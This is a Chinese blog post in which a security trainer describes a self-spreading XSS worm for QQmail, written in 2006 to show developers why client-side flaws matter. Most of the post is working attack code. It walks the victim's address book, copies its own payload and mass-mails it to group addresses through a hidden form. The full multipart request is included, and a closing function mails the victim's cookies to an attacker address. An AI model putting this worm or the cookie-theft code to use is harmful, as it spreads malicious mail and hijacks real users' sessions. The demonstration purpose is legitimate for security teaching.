一个超级mail蠕虫的诞生

作者:war3apollo

Welcome!各位ScriptKid,欢迎来到脚本世界。

时隔2个月,终于进行到这一篇。有些标题党了,哈哈。其实我想通过这篇文章说明的是:做安全,真不容易啊。。。

这个蠕虫写于2006年中左右,为了演示XSS漏洞的危害。我记得当时在给公司的开发同事培训WEB安全时,有同事对我说:脚本是执行在客户端的,XSS漏洞关我什么事呀,又不会影响我的服务器和服务。

确实,给开发的同事和不大懂安全的BOSS们进行安全教育,解释什么叫网络安全,是个艰巨和长期的任务。往往一个真实的攻击实例演示,一次安全事件比你讲个几次课都管用。

很庆幸我的老大都是安全圈内的人,腾讯有一个比较懂安全的CTO。公司现在已经很少有人发出那些质疑的声音了。

——————————–强大的分割线—————————————–

QQmail Ajax蠕虫的实现

QQmail的群邮件功能,由于没有对用户输入的代码进行检查,可以通过向CGI提交数据的方法绕过编辑器的转义。从而构造含有恶意代码的邮件,对用户进行攻击。

以下是一个利用该问题的QQmail Ajax蠕虫实例,该实例具有蠕虫的一般性特征。AJAX技术的运用使得获取数据更加准确和方便。

主要行为及传播流程:

1、用户打开恶意邮件后(实例中安全起见设置为单击图片后),会自动遍历该用户的邮件列表,并提取列表中所有群邮件地址。

2、从邮件自身复制恶意代码,并将其作为内容以群邮件的方式发送至提取的群邮件列表中的群地址。

3、到达下一用户后,重复上述动作。

4、由于群的特殊性,一个设计完善的该类蠕虫的传播速度是惊人的。

主要功能代码:

【遍历用户邮件列表】
getalladdr=new ActiveXObject(‘Microsoft.XMLHTTP’);
getalladdr.open(‘GET’,’/cgi-bin/addressbook/addr_listall’,false);
getalladdr.send();
for (var i=0; i<500; i++) //遍历前邮件列表中前500地址
{
//addr=getalladdr.responseXML.documentElement.selectSingleNode(‘/qqmail/addrs/addr[@id=’+i+’]/mail’);
addr=getalladdr.responseXML.childNodes[1].childNodes[0].childNodes[i].childNodes[1];
if (addr)//如果获取到了地址
{
getgroupaddr();//提取群邮件列表
}
else
{
}
}

【提取群邮件列表】
function getgroupaddr()
{
realaddr=addr.text;
sp=realaddr.split(‘@’);//分离邮件地址
if (sp[1]==’group.qq.com’)//如果为群邮件地址
{
sendmail();//发送邮件
}
else
{
}
}

【自复制】

1、获取自身邮件id
getmailid=new ActiveXObject(‘Microsoft.XMLHTTP’);
getmailid.open(‘GET’,’/cgi-bin/mail_list_ex?folderid=1&sorttype=1&page=0&pagenum=16&refresh=false’,false);
getmailid.send();
mailid=getmailid.responseXML.childNodes[1].childNodes[1].childNodes[0].text;//取第一封信id(更严谨的做法应该再加一条群号码判断,确保取到的id为自身)

2、获取自身代码
getmail=new ActiveXObject(‘Microsoft.XMLHTTP’);
getmail.open(‘GET’,’/cgi-bin/readmail?mailid=’+mailid+’&flag=false&unread=false&folderid=1′,false);
getmail.send();
mailcontentall=getmail.responseXML.childNodes[1].childNodes[12].text;//取信件所有内容
mailcontent=mailcontentall.substring(993,3600);//取自身代码
//开头和结尾的kkkkkkkk为控制字符,因为在测试中发现邮件进行复制传播后代码位置会有少许偏差。通过k字符的多少,我们可以控制这封蠕虫邮件可以传播多少次
【发送邮件】
<Iframe src=”about:blank” name=”test” width=”100″ height=”100″ scrolling=”auto” frameborder=”0″></iframe>//使用iframe避免弹出窗口
<form method=”post” name=”SubForm” action=”/cgi-bin/groupmail_send” target=”test” encType=”multipart/form-data”>
<input type=”hidden” name=”fake” id=”fake” value=””>
<input type=”hidden” name=”contenttype” id=”contenttype” value=”html”>
<input type=”hidden” name=”content” id=”content” value=aa>
<input type=”hidden” name=”actiontype” id=”actiontype” value=””
><input type=”hidden” name=”fattachlist” id=”fattachlist” value=””>
<input type=”hidden” name=”fmailid” id=”fmailid” value=””>
<input type=”hidden” name=”entrance” id=”entrance” value=”0″>
<input type=”hidden” name=”qqgroupid” id=”qqgroupid” value=””>
<input type=”hidden” id=”rsturl” name=”rsturl” value=”window.top.document.frames(‘ComposeFrame’).Reset();”>
<input type=”hidden” name=”sendname” id=”sendname” value=”alias”>
<input type=”hidden” name=”emailtype” id=”emailtype” value=”1″>
<input type=”hidden” name=”to” id=”to” value=”kkkkkk”>
<input type=”hidden” name=”cc” id=”cc” value=””>
<input type=”hidden” name=”bcc” id=”bcc” value=””>
<input type=”hidden” name=”subject” id=”subject” value=”hello”>
<input type=”hidden” name=”qqshow” id=”qqshow” value=”选择签名档”>
<input type=”hidden” name=”htmlcontent” id=”htmlcontent” value=”[object]”>
function sendmail()
{
document.SubForm.qqgroupid.value=sp[0]+’@groupmail.qq.com’;//组合,设置群邮件地址
document.SubForm.content.value=mailcontent;//设置邮件内容
document.SubForm.submit();
}
【完整数据包代码】
—————————–7d635f7b069e
Content-Disposition: form-data; name=”fake”
—————————–7d635f7b069e
Content-Disposition: form-data; name=”contenttype”

html
—————————–7d635f7b069e
Content-Disposition: form-data; name=”content”

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk</div><Iframe src=”about:blank” name=”test” width=”100″ height=”100″ scrolling=”auto” frameborder=”0″></iframe>
<form method=”post” name=”SubForm” action=”/cgi-bin/groupmail_send” target=”test” encType=”multipart/form-data”>
<input type=”hidden” name=”fake” id=”fake” value=””>
<input type=”hidden” name=”contenttype” id=”contenttype” value=”html”>
<input type=”hidden” name=”content” id=”content” value=aa>
<input type=”hidden” name=”actiontype” id=”actiontype” value=””
><input type=”hidden” name=”fattachlist” id=”fattachlist” value=””>
<input type=”hidden” name=”fmailid” id=”fmailid” value=””>
<input type=”hidden” name=”entrance” id=”entrance” value=”0″>
<input type=”hidden” name=”qqgroupid” id=”qqgroupid” value=””>
<input type=”hidden” id=”rsturl” name=”rsturl” value=”window.top.document.frames(‘ComposeFrame’).Reset();”>
<input type=”hidden” name=”sendname” id=”sendname” value=”alias”>
<input type=”hidden” name=”emailtype” id=”emailtype” value=”1″>
<input type=”hidden” name=”to” id=”to” value=”kkkkkk”>
<input type=”hidden” name=”cc” id=”cc” value=””>
<input type=”hidden” name=”bcc” id=”bcc” value=””>
<input type=”hidden” name=”subject” id=”subject” value=”hello”>
<input type=”hidden” name=”qqshow” id=”qqshow” value=”选择签名档”>
<input type=”hidden” name=”htmlcontent” id=”htmlcontent” value=”[object]”>
<br>移动鼠标至图片上<br><img src=”http://mat1.qq.com/www/images/yuandan/logo.gif” onclick=”javascript:getmailid=new ActiveXObject(‘Microsoft.XMLHTTP’);getmailid.open(‘GET’,’/cgi-bin/mail_list_ex?folderid=1&sorttype=1&page=0&pagenum=16&refresh=false’,false);getmailid.send();mailid=getmailid.responseXML.childNodes[1].childNodes[1].childNodes[0].text;getmail=new ActiveXObject(‘Microsoft.XMLHTTP’);getmail.open(‘GET’,’/cgi-bin/readmail?mailid=’+mailid+’&flag=false&unread=false&folderid=1′,false);getmail.send();mailcontentall=getmail.responseXML.childNodes[1].childNodes[12].text;mailcontent=mailcontentall.substring(993,3600);function getgroupaddr(){realaddr=addr.text;sp=realaddr.split(‘@’);if (sp[1]==’group.qq.com’){sendmail();} else{}} function sendmail(){document.SubForm.qqgroupid.value=sp[0]+’@groupmail.qq.com’;document.SubForm.content.value=mailcontent;document.SubForm.submit();} getalladdr=new ActiveXObject(‘Microsoft.XMLHTTP’);getalladdr.open(‘GET’,’/cgi-bin/addressbook/addr_listall’,false);getalladdr.send();for (var i=0; i<500; i++){addr=getalladdr.responseXML.childNodes[1].childNodes[0].childNodes[i].childNodes[1];if (addr){getgroupaddr();}else {}}”><div>kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
—————————–7d635f7b069e
Content-Disposition: form-data; name=”actiontype”
—————————–7d635f7b069e
Content-Disposition: form-data; name=”fattachlist”
—————————–7d635f7b069e
Content-Disposition: form-data; name=”fmailid”
—————————–7d635f7b069e
Content-Disposition: form-data; name=”entrance”

0
—————————–7d635f7b069e
Content-Disposition: form-data; name=”qqgroupid”

[email protected]
—————————–7d635f7b069e
Content-Disposition: form-data; name=”rsturl”

window.top.document.frames(‘ComposeFrame’).Reset();
—————————–7d635f7b069e
Content-Disposition: form-data; name=”sendname”

alias
—————————–7d635f7b069e
Content-Disposition: form-data; name=”emailtype”

1
—————————–7d635f7b069e
Content-Disposition: form-data; name=”to”

kkkkkk
—————————–7d635f7b069e
Content-Disposition: form-data; name=”cc”
—————————–7d635f7b069e
Content-Disposition: form-data; name=”bcc”
—————————–7d635f7b069e
Content-Disposition: form-data; name=”subject”

test
—————————–7d635f7b069e
Content-Disposition: form-data; name=”Uploader1″; filename=””
Content-Type: application/octet-stream
—————————–7d635f7b069e
Content-Disposition: form-data; name=”qqshow”

选择签名档
—————————–7d635f7b069e
Content-Disposition: form-data; name=”htmlcontent”

[object]
—————————–7d635f7b069e–
【将受害用户cookie以邮件方式发送给攻击者】
function sendcookie()
{
document.SubForm.to.value='”hack” <[email protected]>;’;
document.SubForm.content.value=document.cookie;
document.SubForm.submit();
}

下次会给大家带来。。。呃,下次再说。

相关日志

楼被抢了 4 层了... 抢座Rss 2.0或者 Trackback

发表评论